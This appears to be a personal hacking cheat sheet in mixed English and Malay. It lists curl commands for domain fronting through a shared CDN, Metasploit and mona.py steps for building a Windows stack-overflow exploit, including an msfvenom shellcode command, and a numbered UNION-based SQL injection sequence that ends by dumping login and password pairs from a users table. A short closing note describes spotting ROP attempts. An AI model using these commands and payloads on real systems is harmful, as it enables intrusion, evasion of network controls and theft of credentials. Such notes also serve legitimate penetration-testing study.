Domain Fronting Attack

As want to connect to www.google.co.uk, instead connect to www.google.com.au

$ curl -H "host: www.google.com.au" www.google.co.uk

Fakely connect to baik.com, but actually connect to jahat.com, This can be done if baik.com use same CDN as jahat.com

$ curl -H "host: jahat.com" https://baik.com

ref:   https://digi.ninja/blog/domain_fronting.php

command untuk eksploitasi

/usr/share/metasploit-framework/exploit/pattern_create.rb -l 5010
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q



First create folder: !mona config -set workingfolder c:\logs\%p
Command generate: !mona bytearray

!mona compare -f C:\ -a



!mona find -type instr -s "jmp esp" -b 0x6250800



msfvenom -a x86 --platform windows -p windows/messagebox TEXT="say hi" -f python -b "\x00" -v buf

cucukan sql

1) nak tentukan bilangan field
order by 6-- >> masih kluar normal page
order by 7-- >> page dah tak normal

2) nak tahu field yang berkenaan
union select 1,2,3,4,5,6--   >> akan kluar '5'

3) nak dapat version
union select 1,2,3,4,version(),6--

4) dapatkan senarai table
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=[databasename]

5) dapatkan senarai nama field
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=[tablename]


6) dapatkan maklumat tertentu
union select 1,2,3,4,concat_ws(0x3a,login,password),6 from users
output>> login.password

mencari ROP(return-oriented programming)

1- berhenti bila jumpa 'retn'
2- kalau 20 nilai teratas pada stack menunjuk kepada executable area dalam memori, besar kemungkinan ada ROP attempt.